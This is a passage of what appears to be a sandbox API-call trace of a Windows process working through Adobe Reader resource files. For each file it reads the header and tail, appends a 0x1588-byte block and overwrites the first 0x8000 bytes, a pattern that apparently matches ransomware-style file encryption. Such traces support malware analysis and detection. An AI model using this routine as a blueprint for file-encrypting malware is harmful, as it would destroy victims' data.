dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x59800 [0049.256] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.257] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.257] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.257] CloseHandle (hObject=0x168) returned 1 [0049.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.257] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.257] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4000 [0049.257] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.257] ReleaseMutex (hMutex=0x128) returned 1 [0049.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est.hyp", lpUsedDefaultChar=0x0) returned 7 [0049.258] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.259] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0049.259] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.260] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0049.260] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.260] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.260] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.260] CloseHandle (hObject=0x168) returned 1 [0049.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.261] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.261] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x44280 [0049.261] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.261] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.261] ReleaseMutex (hMutex=0x128) returned 1 [0049.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn21.hsp", lpUsedDefaultChar=0x0) returned 9 [0049.261] ReadFile (in: hFile=0x168, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.263] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x43280 [0049.263] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.264] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x43280 [0049.264] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.264] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.264] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.265] CloseHandle (hObject=0x168) returned 1 [0049.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.265] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.265] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x8000 [0049.265] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.265] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.265] ReleaseMutex (hMutex=0x128) returned 1 [0049.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm32.clx", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm32.clx", lpUsedDefaultChar=0x0) returned 9 [0049.265] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.267] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7000 [0049.267] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.267] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7000 [0049.267] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.268] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.268] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.268] CloseHandle (hObject=0x168) returned 1 [0049.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.268] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.268] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x45c [0049.268] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.269] ReleaseMutex (hMutex=0x128) returned 1 [0049.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun.fca", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hun.fca", lpUsedDefaultChar=0x0) returned 7 [0049.269] ReadFile (in: hFile=0x168, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x304f2bc*=0x45c, lpOverlapped=0x0) returned 1 [0049.270] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0049.270] WriteFile (in: hFile=0x168, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9e4, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x304f2d0*=0x9e4, lpOverlapped=0x0) returned 1 [0049.270] CloseHandle (hObject=0x168) returned 1 [0049.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav135.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav135.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.271] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.271] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2d000 [0049.271] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.271] ReleaseMutex (hMutex=0x128) returned 1 [0049.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav135.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav135.lex", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lav135.lex", lpUsedDefaultChar=0x0) returned 10 [0049.271] ReadFile (in: hFile=0x168, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.272] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c000 [0049.272] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c000 [0049.273] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.273] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.274] CloseHandle (hObject=0x168) returned 1 [0049.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw38.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw38.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.274] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.274] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4669e [0049.274] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.274] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.274] ReleaseMutex (hMutex=0x128) returned 1 [0049.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw38.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw38.hsp", cchWideChar=9, lpMultiByteStr=0x1e62fcc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nrw38.hsp", lpUsedDefaultChar=0x0) returned 9 [0049.274] ReadFile (in: hFile=0x168, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.276] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4569e [0049.276] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4569e [0049.278] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.278] WriteFile (in: hFile=0x168, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.278] CloseHandle (hObject=0x168) returned 1 [0049.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4a4 [0049.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.279] ReleaseMutex (hMutex=0x128) returned 1 [0049.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt.fca", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prt.fca", lpUsedDefaultChar=0x0) returned 7 [0049.279] ReadFile (in: hFile=0x168, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x304f2bc*=0x4a4, lpOverlapped=0x0) returned 1 [0050.073] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0050.073] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xa2c, lpOverlapped=0x0) returned 1 [0050.074] CloseHandle (hObject=0x168) returned 1 [0050.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus101.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus101.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.074] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.074] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x70ad2 [0050.074] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.074] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.075] ReleaseMutex (hMutex=0x128) returned 1 [0050.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus101.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus101.hsp", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rus101.hsp", lpUsedDefaultChar=0x0) returned 10 [0050.075] ReadFile (in: hFile=0x168, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0050.077] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x6fad2 [0050.077] ReadFile (in: hFile=0x168, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.084] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x6fad2 [0050.085] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.085] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.085] WriteFile (in: hFile=0x168, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0050.085] CloseHandle (hObject=0x168) returned 1 [0050.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 